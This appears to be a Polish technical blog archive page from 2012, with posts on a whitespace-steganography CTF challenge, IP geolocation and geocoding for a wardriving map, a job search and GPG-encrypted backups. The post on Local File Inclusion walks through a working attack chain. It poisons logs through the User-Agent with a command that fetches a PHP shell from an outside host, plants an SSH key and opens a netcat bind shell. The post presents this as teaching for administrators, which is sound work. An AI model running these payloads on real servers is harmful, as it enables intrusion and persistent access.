piątek, 27 stycznia 2012

Biały szum

Jak już wspomniałem parę wpisów wcześniej na stronie jednej z międzynarodowych konferencji, której tematem przewodnim jest informatyka śledcza, bezpieczeństwo IT oraz hacking pojawiły się wyzwania związane z tematyką konferencji. Tak samo jak wcześniej napisałem - nie będę tutaj wymieniać nazwy owej konferencji ze względu na to, że nie chcę aby wpis był do wyszukania po słowach kluczowych w Internecie przez osoby, które rozwiązują owe testy. Tym razem jest to wyzwanie kryptograficzne o nazwie "white noise", czyli w polskiej wersji "biały szum". Pojęcie to w tym przypadku ma świadczyć o wiadomości, której nie widać ludzkim okiem, tak więc przy próbie z cat
$ cat whitenoise
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
pojęcie to się sprawdziło, w drugim podejściu z hexdump, było już coś więcej widać
$ hexdump -C whitenoise

00000000  09 20 09 09 09 20 09 20  09 20 20 20 09 09 20 09  |. ... . .   .. .|
00000010  09 20 20 20 09 09 20 09  09 20 20 09 20 20 20 20  |.   .. ..  .    |
00000020  09 20 20 20 09 09 20 09  09 09 20 09 09 09 09 09  |.   .. ... .....|
00000030  09 20 09 09 20 20 09 20  09 20 20 09 09 20 09 20  |. ..  . .  .. . |
00000040  09 20 20 20 09 09 20 20  09 20 20 20 09 09 20 20  |.   ..  .   ..  |
00000050  09 20 20 09 09 09 09 20  09 20 20 09 09 20 20 20  |.  .... .  ..   |
00000060  09 20 20 09 09 20 09 20  09 09 20 20 20 09 20 09  |.  .. . ..   . .|
00000070  09 09 20 09 09 09 09 09  09 20 09 20 20 09 09 20  |.. ...... .  .. |
00000080  09 20 20 09 20 20 20 20  09 20 20 20 09 20 09 20  |.  .    .   . . |
00000090  09 20 20 20 09 09 20 09  09 09 20 09 09 09 09 09  |.   .. ... .....|
000000a0  09 20 09 20 09 09 09 09  09 20 20 09 09 09 09 20  |. . .....  .... |
000000b0  09 20 20 20 09 09 20 20  09 20 20 20 09 09 20 20  |.   ..  .   ..  |
000000c0  09 20 20 20 09 20 20 20  09 20 20 09 20 20 20 20  |.   .   .  .    |
000000d0  09 20 20 20 09 09 20 09  09 20 20 09 09 20 09 09  |.   .. ..  .. ..|
000000e0  09 09 20 09 09 09 09 09  09 20 09 09 20 20 09 20  |.. ...... ..  . |
000000f0  09 20 20 20 09 20 09 20  09 20 20 20 09 09 20 20  |.   . . .   ..  |
00000100  09 20 20 20 09 20 09 09  09 09 20 09 09 09 09 09  |.   . .... .....|
00000110  09 20 09 09 09 09 20 09  09 20 20 09 09 20 09 20  |. .... ..  .. . |
00000120  09 09 20 09 09 09 09 09  09 20 20 09 09 09 09 20  |.. ......  .... |
00000130  09 20 20 20 09 20 09 09  09 09 20 09 09 09 09 09  |.   . .... .....|
00000140  09 20 09 09 20 20 09 09  09 20 20 09 09 20 09 20  |. ..  ...  .. . |
00000150  09 20 20 09 09 09 09 20  09 20 20 20 09 09 20 20  |.  .... .   ..  |
00000160  09 20 20 20 09 20 09 09  09 09 20 09 09 09 09 09  |.   . .... .....|
00000170  09 09 20 20 09 09 09 20  09 09 20 20 20 09 09 09  |..  ... ..   ...|
00000180  09 09 20 20 09 20 20 20  09 09 20 20 09 20 20 20  |..  .   ..  .   |
00000190  09 09 20 20 09 09 09 09  09 09 20 09 09 09 09 09  |..  ...... .....|
000001a0  09 20 09 09 09 09 20 20  09 20 20 09 20 09 09 09  |. ....  .  . ...|
000001b0  09 20 20 09 09 09 09 20  09 20 20 20 09 09 20 09  |.  .... .   .. .|
000001c0  09 20 20 09 09 09 09 20  09 20 20 09 09 09 20 20  |.  .... .  ...  |
000001d0  09 20 20 20 09 20 09 09  09 20 20 09 09 20 09 20  |.   . ...  .. . |
000001e0  09 20 20 20 09 09 20 09  09 20 20 20 09 09 20 20  |.   .. ..   ..  |
000001f0  09 09 20 09 09 09 09 09  09 20 20 09 09 09 09 20  |.. ......  .... |
00000200  09 20 20 09 20 20 20 09  09 20 20 09 09 20 09 09  |.  .   ..  .. ..|
00000210  09 09 20 09 09 09 09 09  09 20 09 09 09 09 20 20  |.. ...... ....  |
00000220  09 20 20 09 09 09 09 20  09 20 20 09 20 20 20 09  |.  .... .  .   .|
00000230  09 20 20 09 20 20 20 09  09 20 20 09 20 20 20 20  |.  .   ..  .    |
00000240  09 20 20 20 09 20 09 09  09 09 20 09 09 09 09 09  |.   . .... .....|
00000250  09 20 09 20 09 09 20 09  09 20 20 09 09 20 09 20  |. . .. ..  .. . |
00000260  09 20 20 20 09 09 09 09  09 20 20 09 09 20 09 20  |.   .....  .. . |
00000270  09 20 20 09 09 09 09 20  09 20 20 20 09 20 09 09  |.  .... .   . ..|
00000280  09 09 20 09 09 09 09 09  09 20 09 09 09 09 09 20  |.. ...... ..... |
00000290  09 20 20 09 20 20 20 09  09 20 20 20 20 09 09 20  |.  .   ..    .. |
000002a0  09 09 20 09 09 09 09 09  09 20 20 09 20 20 20 20  |.. ......  .    |
000002b0  09 20 20 09 09 20 20 09  09 09 20 09 09 09 09 09  |.  ..  ... .....|
000002c0  09 20 09 20 20 09 09 20  09 20 20 09 20 20 20 20  |. .  .. .  .    |
000002d0  09 20 20 20 09 20 09 20  09 20 20 20 09 09 20 09  |.   . . .   .. .|
000002e0  09 09 20 09 09 09 09 09  09 20 09 20 09 09 09 09  |.. ...... . ....|
000002f0  09 20 20 20 09 09 20 09  09 20 20 09 09 20 09 20  |.   .. ..  .. . |
00000300  09 20 20 20 09 20 20 09  09 20 20 09 20 09 09 20  |.   .  ..  . .. |
00000310  09 20 20 09 20 20 20 20  09 20 20 20 09 20 09 20  |.  .    .   . . |
00000320  09 20 20 20 09 09 20 20  09 09 20 09 09 09 09 09  |.   ..  .. .....|
00000330  09 09 20 20 09 09 20 20  09 09 20 20 09 09 09 09  |..  ..  ..  ....|
00000340  09 09 20 20 09 20 20 09  09 09 20 20 20 09 09 09  |..  .  ...   ...|
00000350  09 09 20 20 20 09 09 20  09 09 20 09 09 09 09 09  |..   .. .. .....|
00000360  09 20 09 20 09 09 09 09  09 20 20 09 09 09 09 20  |. . .....  .... |
00000370  09 20 20 20 09 09 20 20  09 20 20 20 09 09 20 20  |.   ..  .   ..  |
00000380  09 20 20 20 09 20 20 20  09 20 20 09 20 20 20 20  |.   .   .  .    |
00000390  09 20 20 20 09 09 20 09  09 20 20 09 09 20 09 09  |.   .. ..  .. ..|
000003a0  09 20 20 20 09 09 20 20  09 09 20 09 09 09 09 09  |.   ..  .. .....|
000003b0  09 09 20 09 20 20 09 20  09 09 20 09 09 09 09 09  |.. .  . .. .....|
000003c0  09 20 09 09 20 20 09 20  09 20 09 20 09 09 20 20  |. ..  . . . ..  |
000003d0  09 09 20 09 09 09 09 09  09 20 09 09 20 09 20 20  |.. ...... .. .  |
000003e0  09 20 09 09 09 09 20 09  09 09 20 09 09 09 09 09  |. .... ... .....|
000003f0  09 09 20 20 09 09 20 09  09 09 20 20 09 20 20 20  |..  .. ...  .   |
00000400  09 09 20 20 09 20 20 09  09 09 20 20 09 09 20 20  |..  .  ...  ..  |
00000410  09 09 20 20 09 09 09 09  09 09 20 20 09 20 09 09  |..  ......  . ..|
00000420
pierwszym ze skojarzeń był alfabet Morse'a
$ hexdump -c whitenoise

0000000  \t      \t  \t  \t      \t      \t              \t  \t      \t
0000010  \t              \t  \t      \t  \t          \t                
0000020  \t              \t  \t      \t  \t  \t      \t  \t  \t  \t  \t
0000030  \t      \t  \t          \t      \t          \t  \t      \t    
0000040  \t              \t  \t          \t              \t  \t        
0000050  \t          \t  \t  \t  \t      \t          \t  \t            
0000060  \t          \t  \t      \t      \t  \t              \t      \t
0000070  \t  \t      \t  \t  \t  \t  \t  \t      \t          \t  \t    
0000080  \t          \t                  \t              \t      \t    
0000090  \t              \t  \t      \t  \t  \t      \t  \t  \t  \t  \t
00000a0  \t      \t      \t  \t  \t  \t  \t          \t  \t  \t  \t    
00000b0  \t              \t  \t          \t              \t  \t        
00000c0  \t              \t              \t          \t                
00000d0  \t              \t  \t      \t  \t          \t  \t      \t  \t
00000e0  \t  \t      \t  \t  \t  \t  \t  \t      \t  \t          \t    
00000f0  \t              \t      \t      \t              \t  \t        
0000100  \t              \t      \t  \t  \t  \t      \t  \t  \t  \t  \t
0000110  \t      \t  \t  \t  \t      \t  \t          \t  \t      \t    
0000120  \t  \t      \t  \t  \t  \t  \t  \t          \t  \t  \t  \t    
0000130  \t              \t      \t  \t  \t  \t      \t  \t  \t  \t  \t
0000140  \t      \t  \t          \t  \t  \t          \t  \t      \t    
0000150  \t          \t  \t  \t  \t      \t              \t  \t        
0000160  \t              \t      \t  \t  \t  \t      \t  \t  \t  \t  \t
0000170  \t  \t          \t  \t  \t      \t  \t              \t  \t  \t
0000180  \t  \t          \t              \t  \t          \t            
0000190  \t  \t          \t  \t  \t  \t  \t  \t      \t  \t  \t  \t  \t
00001a0  \t      \t  \t  \t  \t          \t          \t      \t  \t  \t
00001b0  \t          \t  \t  \t  \t      \t              \t  \t      \t
00001c0  \t          \t  \t  \t  \t      \t          \t  \t  \t        
00001d0  \t              \t      \t  \t  \t          \t  \t      \t    
00001e0  \t              \t  \t      \t  \t              \t  \t        
00001f0  \t  \t      \t  \t  \t  \t  \t  \t          \t  \t  \t  \t    
0000200  \t          \t              \t  \t          \t  \t      \t  \t
0000210  \t  \t      \t  \t  \t  \t  \t  \t      \t  \t  \t  \t        
0000220  \t          \t  \t  \t  \t      \t          \t              \t
0000230  \t          \t              \t  \t          \t                
0000240  \t              \t      \t  \t  \t  \t      \t  \t  \t  \t  \t
0000250  \t      \t      \t  \t      \t  \t          \t  \t      \t    
0000260  \t              \t  \t  \t  \t  \t          \t  \t      \t    
0000270  \t          \t  \t  \t  \t      \t              \t      \t  \t
0000280  \t  \t      \t  \t  \t  \t  \t  \t      \t  \t  \t  \t  \t    
0000290  \t          \t              \t  \t                  \t  \t    
00002a0  \t  \t      \t  \t  \t  \t  \t  \t          \t                
00002b0  \t          \t  \t          \t  \t  \t      \t  \t  \t  \t  \t
00002c0  \t      \t          \t  \t      \t          \t                
00002d0  \t              \t      \t      \t              \t  \t      \t
00002e0  \t  \t      \t  \t  \t  \t  \t  \t      \t      \t  \t  \t  \t
00002f0  \t              \t  \t      \t  \t          \t  \t      \t    
0000300  \t              \t          \t  \t          \t      \t  \t    
0000310  \t          \t                  \t              \t      \t    
0000320  \t              \t  \t          \t  \t      \t  \t  \t  \t  \t
0000330  \t  \t          \t  \t          \t  \t          \t  \t  \t  \t
0000340  \t  \t          \t          \t  \t  \t              \t  \t  \t
0000350  \t  \t              \t  \t      \t  \t      \t  \t  \t  \t  \t
0000360  \t      \t      \t  \t  \t  \t  \t          \t  \t  \t  \t    
0000370  \t              \t  \t          \t              \t  \t        
0000380  \t              \t              \t          \t                
0000390  \t              \t  \t      \t  \t          \t  \t      \t  \t
00003a0  \t              \t  \t          \t  \t      \t  \t  \t  \t  \t
00003b0  \t  \t      \t          \t      \t  \t      \t  \t  \t  \t  \t
00003c0  \t      \t  \t          \t      \t      \t      \t  \t        
00003d0  \t  \t      \t  \t  \t  \t  \t  \t      \t  \t      \t        
00003e0  \t      \t  \t  \t  \t      \t  \t  \t      \t  \t  \t  \t  \t
00003f0  \t  \t          \t  \t      \t  \t  \t          \t            
0000400  \t  \t          \t          \t  \t  \t          \t  \t        
0000410  \t  \t          \t  \t  \t  \t  \t  \t          \t      \t  \t
0000420
przy drugim jednak kod binarny, gdzie spacja oraz tabulator jako jedynka i zero (lub odwrotnie, tak czy inaczej tylko dwa podejścia są w przypadku tej teorii), tak więc zamieniamy
$ cat whitenoise | tr ' ' '1' | tr '\t' '0'

010001010111001001110010011011110111001000100000010011010110010101110011011100110110000101100111011001010011101000100000010110010110111101110101011100100010000001010000011000010111001101110011011101110110111101110010011001000010000001001101011101010111001101110100001000000100001001100101001000000110000101110100001000000100110001100101011000010111001101110100001000000011000100111000001101110011011100110000001000000100001101101000011000010111001001100001011000110111010001100101011100100111001100100000011000010110111001100100001000000100001101100001011011100110111001101111011101000010000001010010011001010111000001100101011000010111010000100000010000010110111001111001001000000110111101100110001000000101100101101111011101010111001000100000010100000111001001100101011101100110100101101111011101010111001100100000001100110011000000110110001110000011100100100000010100000110000101110011011100110111011101101111011100100110010001110011001000000010110100100000010011010101001100100000010010110100001000100000001100100011011100110110001100110011000000110100
następnie będzie nam potrzebny skrypt, który zamieni postać binarną na ASCII
#!/usr/bin/php
<?php

$input=$argv[1];

$bin=chunk_split($input, 8, ' ');

function bin2bstr($input) {
  if (!is_string($input)) return null;
  return pack('H*', base_convert($input, 2, 16));
}

// wywołanie dla każdego znaku ze względu na
// PHP Warning:  base_convert(): Number too large
foreach(explode(' ', $bin) as $chr) { echo bin2bstr($chr); }

?>
$ php binstr.php 010001010111001001110010011011110111001000100000010011010110010101110011011100110110000101100111011001010011101000100000010110010110111101110101011100100010000001010000011000010111001101110011011101110110111101110010011001000010000001001101011101010111001101110100001000000100001001100101001000000110000101110100001000000100110001100101011000010111001101110100001000000011000100111000001101110011011100110000001000000100001101101000011000010111001001100001011000110111010001100101011100100111001100100000011000010110111001100100001000000100001101100001011011100110111001101111011101000010000001010010011001010111000001100101011000010111010000100000010000010110111001111001001000000110111101100110001000000101100101101111011101010111001000100000010100000111001001100101011101100110100101101111011101010111001100100000001100110011000000110110001110000011100100100000010100000110000101110011011100110111011101101111011100100110010001110011001000000010110100100000010011010101001100100000010010110100001000100000001100100011011100110110001100110011000000110100
hasło to
Error Message: Your Password Must Be at Least 18770 Characters and Cannot Repeat Any of Your Previous 30689 Passwords - MS KB 276304
przy czym samą zamianę z postaci binarnej można przeprowadzić o wiele łatwiej dzięki narzędziom on-line.

czwartek, 26 stycznia 2012

Geolokalizacja oraz geokodowanie

Geolokalizacja jest to informacja określająca położenie geograficzne, natomiast geokodowanie jest to przyporządkowywanie punktom lub obszarom na Ziemi kodów, umożliwiających jednoznaczną identyfikację każdego miejsca. Przykładowo dzięki geolokalizacji jesteśmy w stanie określić kraj z którego użytkownik odwiedza naszą stronę, w tym celu wystarczy posłużyć się prostym skryptem
#!/usr/bin/php
<?php
  $ip=$argv[1];
  print_r(geoip_country_name_by_name($ip));
  //print_r(geoip_record_by_name($ip));
?>
$ ./geo.php 94.152.199.153
Poland
$ whois 94.152.199.153 | grep ^country
country: PL
powyższy sposób może posłużyć m.in. do blokowania ruchu, z pewnością jest to ciekawa funkcja warta uwagi, powyższy skrypt korzysta z lokalnej bazy danych, w celu jej aktualizacji możemy posłużyć się przykładowo skryptem
#!/bin/bash
cd /usr/share/GeoIP
# geoip_country_name_by_name
wget -q http://geolite.maxmind.com/download/geoip/database/GeoLiteCountry/GeoIP.dat.gz
# geoip_record_by_name
#wget -q http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
gzip -df GeoIP.dat.gz
#gzip -df GeoLiteCity.dat.gz
który po dopisaniu do crontab będzie systematycznie aktualizował naszą bazę danych, w powyższych zakomentowałem funkcję geoip_record_by_name() ponieważ nie zwraca zazwyczaj prawdziwych danych. Geokodowanie jest natomiast trochę nowszą technicznie opcją, która dzięki takim bazą jak Google Maps pozwana na podstawie pozycji GPS określić dokładny adres miejsca, najprostszym skryptem realizującym to zadanie jest
#!/bin/bash
lat=$1
lon=$2
wget -q "http://maps.google.com/maps/geo?output=csv&oe=utf-8&ll=$lat,$lon" -O -|cut -f3- -d,
$ ./geo.sh 50.25 19
"Mikołowska 100, 40-001 Katowice, Poland"
powyższe dane możemy również pobrać w wersji rozszerzonej i uporządkowanej w formacie XML
#!/bin/bash
lat=$1
lon=$2
wget -q "http://maps.googleapis.com/maps/api/geocode/xml?latlng=$lat,$lon&sensor=false&language=pl" -O "$lat-$lon.xml"
dzięki czemu otrzymujemy m.in. podział
<short_name>Katowice</short_name>
<type>administrative_area_level_3</type>
<short_name>Katowice</short_name>
<type>administrative_area_level_2</type>
<short_name>śląskie</short_name>
<type>administrative_area_level_1</type>
który odpowiada za
administrative_area_level_1 - województwo
administrative_area_level_2 - powiat
administrative_area_level_3 - miasto
takie dane wykorzystałem w moim projekcie mapy sieci bezprzewodowych dzięki czemu przypisałem do każdej sieci adres
> SELECT lat,lon,area3,area2,area1,street FROM wardriving LIMIT 6;
50.249906 | 18.998934 | Katowice | Katowice | Śląskie | Kochłowicka, Katowice, Polska
50.260634 | 18.972479 | Katowice | Katowice | Śląskie | Piotra Bardowskiego 3B, Katowice, Polska
50.281025 | 18.953615 | Chorzów  | Chorzów  | Śląskie | Racławicka 33, 41-506 Chorzów, Polska
50.279461 | 18.953632 | Chorzów  | Chorzów  | Śląskie | Drogowa Trasa Średnicowa, 41-506 Chorzów, Polska
50.298653 | 18.836944 | Zabrze   | Zabrze   | Śląskie | Wolności 530, 41-806 Zabrze, Polska
50.304673 | 18.778379 | Zabrze   | Zabrze   | Śląskie | Johanna Wolfganga Goethego 34, 41-800 Zabrze, Polska
dzięki czemu jestem w stanie budować mapy z podziałem na miasta bez określania każdorazowo czy leżą w granicach miasta, co byłoby dość skomplikowanym procesem, dodatkowo wszystkich black-box testerów mojej aplikacji z góry informuję, że to tylko pseudo zapytanie. Niestety są też minusy takiego odpytywania, Google wprowadza limity, które nie są jasno określone, ale w przypadku przekroczenia zwraca w XML status
OVER_QUERY_LIMIT
dzięki czemu można to bardzo łatwo obsłużyć w aplikacji. Wracając jeszcze do samego wykorzystywania funkcjonalności, stworzyłem również wyszukiwarkę, która pozwala szukać sieci m.in. po przez podanie ulicy
1. 1 Maja 3-5, Katowice, Polska
[...]
24. 1 Maja 9, 41-203 Czeladź, Polska
25. 1 Maja 171, 41-710 Ruda Śląska, Polska
26. 3 Maja 50, 41-800 Zabrze, Polska
na marginesie tylko dodam, że nie istnieje fizyczna możliwość określenia miejsca gdzie znajduje się nadajnik, natomiast zapisane pozycje to miejsca w których wykryłem daną sieć. Google w ramach usługi "mapy" pozwala również na dynamiczne tworzenie obrazków z mapą i dowolnie wybranymi wymiarami jak również dowolną ikoną


kod powyższego obrazka to
http://maps.google.com/maps/api/staticmap?zoom=13&size=500x150&markers=icon:http://img408.imageshack.us/img408/679/wifi.png|50.25,19&sensor=false
dzięki wyżej wspomnianym funkcjonalnością możemy np. przypisywać adresy do zdjęć na podstawie pozycji GPS z EXIF, a wszystko tak naprawdę zależy od pomysłowości.

wtorek, 24 stycznia 2012

Przykładowy scenariusz ataku LFI (Local File Inclusion)

W tym wpisie chciałbym pokazać przykładowy scenariusz ataku w stylu m.in. osób powiązanych z grupą Anonymous o której tak głośno ostatnio w (polskich) mediach. Będzie to historia o tym czemu człowiek jest najsłabszym ogniwem bezpieczeństwa. Do demonstracji wykorzystam Debian netinstall w wersji stabilnej
# cat /etc/debian_version 
6.0.3
wraz z zainstalowanym jedynie Apache oraz PHP
apache2 - Metapakiet serwera HTTP Apache
php5 - Język skryptowy osadzony w kodzie HTML i działający po stronie serwera (metapakiet)
na przykładzie bagatelizowanego (w stosunku do Remote File Inclusion aka RFI) błędu Local File Inclusion aka LFI, prosty skrypt, ponieważ nie on tutaj jest tematem
<?php include($_GET['page']); ?>
dzięki odwołaniu
http://192.168.0.200/index.php?page=../../etc/passwd
uzyskujemy wgląd do /etc/passwd, przykładowy atak to zmiana User Agent na kod wykonywalny (User Agent Injection‎)
$ wget --user-agent="<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>" http://192.168.0.200 -O /dev/null
w tym wypadku kod odpowiada za zapisanie przykładowego PHP shell, w logach w związku z tym zostanie odnotowany wpis
# cat /var/log/apache2/access.log | tail -1
192.168.0.100 - - [24/Jan/2012:11:32:51 +0100] "GET / HTTP/1.1" 200 248 "-" "<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>"
naturalnie zależnie od dystrybucji Linux lokalizacja logów różni się, przykładowo Red Hat, CentOS oraz Fedora przechowują logi w /var/log/httpd/. Powyższego logu nie da się załadować przy pomocy LFI
[Tue Jan 24 11:34:04 2012] [error] [client 192.168.0.100] PHP Warning:  include(../../var/log/apache2/access.log): failed to open stream: Permission denied in /var/www/index.php on line 1

ponieważ logi są obsługiwane przez proces rodzica i z tego powodu Apache2 może zapisywać w logach, a procesy, które serwują stronę internetową nie mają do niego dostępu ze względu, że standardowe prawa do logów Apache2 to
# ls -la /var/log/apache2/
razem 8
drwxr-x--- 2 root adm  4096 01-24 11:24 .
drwxr-xr-x 8 root root 4096 01-24 11:24 ..
-rw-r----- 1 root adm     0 01-24 12:27 access.log
-rw-r----- 1 root adm     0 01-24 12:27 error.log
-rw-r--r-- 1 root root    0 01-24 11:24 other_vhosts_access.log
przykładowe podatne logi można znaleźć poprzez m.in. komendę
# find /var/log -perm -o+r
/var/log
/var/log/lastlog
/var/log/dpkg.log
/var/log/fsck
/var/log/news
/var/log/installer
/var/log/installer/hardware-summary
/var/log/installer/lsb-release
/var/log/installer/status
/var/log/installer/cdebconf
/var/log/pycentral.log
/var/log/aptitude
/var/log/faillog
/var/log/alternatives.log
/var/log/apt
/var/log/apt/history.log
/var/log/wtmp
/var/log/apache2/other_vhosts_access.log
gdzie w wyniku powinny nas interesować logi aplikacji do których jest zdalny dostęp. Wracając do tematu możemy przykładowo załadować plik konfiguracyjny Apache2
http://192.168.0.200/index.php?page=../../etc/apache2/apache2.conf
a dzięki czemu uzyskać informacje na temat stosowanej konfiguracji, lokalizacji logów itp. Weźmy tutaj pod uwagę przypadek gdzie został dodany VirtualHost z własna obsługą logów zgodnie z dokumentacją
http://httpd.apache.org/docs/2.2/mod/mod_log_config.html#formats
Some commonly used log format strings are:
Common Log Format (CLF)
"%h %l %u %t \"%r\" %>s %b"
Common Log Format with Virtual Host
"%v %h %l %u %t \"%r\" %>s %b"
NCSA extended/combined log format
"%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
Referer log format
"%{Referer}i -> %U"
Agent (Browser) log format
"%{User-agent}i"
oraz ustawiony został dostęp do logów dla użytkownika, który standardowo nie ma dostępu do logów
# cat example 
<VirtualHost *:80>
DocumentRoot /var/www/example
ServerName www.example.com
CustomLog /home/example/www/access.log "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-agent}i\""
</VirtualHost>
# mkdir /var/www/example
# cp /var/www/index.php /var/www/example/
# a2ensite example
# mkdir -p /home/example/www/
# /etc/init.d/apache2 reload
no i tutaj niestety został popełniony duży błąd, nie zostały ustawione odpowiednie prawa (odczyt tylko dla użytkownika), znając dystrybucję poprzez wywołanie chociażby /etc/issue.net osoba szukająca podatności uzyskuje informacje o lokalizacji plików, przykładowo zajmujemy się tutaj domeną example.com, w Debianie prawie we wszystkich przypadkach lokalizacją pliku konfiguracyjnego będzie którąś z poniższych
/etc/apache2/sites-available/default
/etc/apache2/sites-available/default-ssl
/etc/apache2/sites-available/example
/etc/apache2/sites-available/example.com
lub po prostu główny plik konfiguracyjny, dzięki temu można poznać lokalizację logów poprzez udane załadowanie pliku konfiguracyjnego, następnie przykładowo odwołanie
$ wget --user-agent="<? system('uname -a'); ?>" http://www.example.com -O /dev/null
i wywołanie logów poprzez LFI
192.168.0.100 - - [24/Jan/2012:16:42:01 +0100] "GET / HTTP/1.1" 200 - "-" "Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686 GNU/Linux "
wracając do PHP shell
$ wget --user-agent="<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>" http://www.example.com -O /dev/null
w logach pojawi się
192.168.0.100 - - [24/Jan/2012:16:56:19 +0100] "GET / HTTP/1.1" 200 - "-" "<? system('wget -q --no-check-certificate https://devilteam.pl/hauru.txt -O /tmp/hauru.php'); ?>"
po ich wywołaniu poprzez LFI zostanie pobrany plik i zapisany do /tmp z prawami z jakimi działa demon Apache2
-rw-r--r--  1 www-data www-data 100731 08-19 21:50 hauru.php
następnie pozostaje wywołanie
http://www.example.com/index.php?page=../../../tmp/hauru.php
i zostaje uzyskany dostęp do powłoki, w większości przypadków konfiguracji użytkownik z którego prawami działa demon www ma również prawa do katalogu w którym znajduje się witryna co jest bardzo zgubne ponieważ standardowo konfiguracja SSH pozwala na autoryzację za pośrednictwem kluczy. Klucz publiczny pozwalający na zalogowanie odczytywany jest z $HOME/.ssh/authorized_keys, zgodnie z wpisem w /etc/passwd
www-data:x:33:33:www-data:/var/www:/bin/sh
co za tym idzie w PHP shell wystarczy wywołać polecenie powłoki
mkdir /var/www/.ssh;echo "ssh-rsa [...]" > /var/www/.ssh/authorized_keys
w związku z czym powstanie
# ls -la /var/www/.ssh
razem 12
drwxr-xr-x 2 www-data www-data 4096 01-24 17:16 .
drwxr-xr-x 4 www-data www-data 4096 01-24 17:16 ..
-rw-r--r-- 1 www-data www-data  389 01-24 17:16 authorized_keys
a wtedy zostaje uzyskany dostęp do powłoki
$ ssh www-data@192.168.0.200
Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ whoami
www-data
$ uname -a
Linux debian 2.6.32-5-686 #1 SMP Wed Jan 11 12:29:30 UTC 2012 i686 GNU/Linux
istnieje również sposób naokoło, w PHP shell po wydaniu komendy
nc -e '/bin/bash' -l -p 12345
w systemie zacznie nasłuchiwać netcat
www-data  1307  0.6  0.0   1748   500 ?        S    19:13   0:00 sh -c nc -e '/bin/bash' -l -p 12345
www-data  1308  0.3  0.0   1728   628 ?        S    19:13   0:00 nc -e /bin/bash -l -p 12345
wtedy pozostaje tylko połączenie na dany port (wyższy od 1024, ponieważ poniżej tylko root ma prawa)
$ nc 192.168.0.200 12345
whoami
www-data
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
Debian-exim:x:101:103::/var/spool/exim4:/bin/false
statd:x:102:65534::/var/lib/nfs:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
po uzyskaniu dostępu do powłoki pozostaje tylko wywołanie jednego z odpowiednich dla wersji jądra lub używanego na serwerze oprogramowania Local Root Exploit, a na sam koniec instalacja Rootkit dzięki czemu w krótkim czasie zostają zatarte wszystkie informacje o włamaniu jak również zostaje ukryty fakt posiadania dostępu do serwera, a wszystko dzięki błędnej konfiguracji, która z pozoru wydaję się bardzo dobra i nie posiadająca żadnych błędów, a już tym bardziej bezpieczeństwa. Niestety ale równie często serwery na których leżą strony posiadają dostęp do sieci wewnętrznej, gdzie sprawa wygląda zawsze tak samo - po nitce do kłębka. Tylko znając wroga jesteśmy w stanie się przed nim bronić, z tego powodu trudno być adminem nie mając chociaż podstawowej wiedzy z zakresu bezpieczeństwa oraz ataków na usługi którymi się zarządza. Na sam koniec dodam, że nie polecam stosowania zabezpieczeń w JavaScript, a takie przypadki też nieraz widziałem.

poniedziałek, 23 stycznia 2012

Szukam pracy

Ostatnio mam dużo czasu i chętnie zajął bym się pracą na etacie, w związku z czym szukam pracy jako (młodszy?) administrator Linux (lub pokrewnej) na terenie Śląska (mieszkam w Katowicach). Proszę o kontakt poprzez e-mail adam(małpa)adamziaja.com ze skrzynek firmowych. Moje CV jest dostępne publicznie, naturalnie jestem również autorem wszystkich wpisów na tym techblogu.

Szyfrowany backup na Dropbox

Dropbox jest usługą w rodzaju dysku sieciowego udostępniającą za darmo 2GB przestrzeni dla użytkowników. W tym wpisie chciałbym zaprezentować jedną z możliwości wykonania szyfrowanego backupu przechowywanego w chmurze. W związku z tym dane będą bezpieczne pod względem posiadania kopii zapasowej jak również pod względem dostępu do nich przez osoby postronne dzięki szyfrowaniu 4096-bitowym kluczem RSA (w zależności od utworzonego klucza). Na samym początku importujemy swój klucz publiczny jeśli backup będzie wykonywany na koncie na którym nie ma załadowanego kluczu prywatnego
# gpg --keyserver "hkp://pgp.mit.edu" --recv-keys 1E11B561
gpg: zapytanie o klucz 1E11B561 w serwerze hkp pgp.mit.edu
gpg: /root/.gnupg/trustdb.gpg: baza zaufania utworzona
gpg: klucz F98A0176: klucz publiczny "Adam Michal Ziaja" wczytano do zbioru
gpg: brak absolutnie zaufanych kluczy
gpg: Ogółem przetworzonych kluczy: 1
gpg:          dołączono do zbioru: 1  (RSA: 1)
# gpg --edit-key 1E11B561 trust
gpg (GnuPG) 1.4.10; Copyright (C) 2008 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

pub  2048R/F98A0176  utworzony: 2010-12-08  wygasa: nigdy       wykorzystanie: SC  
                     zaufanie: nieznany      wiarygodność: nieznany
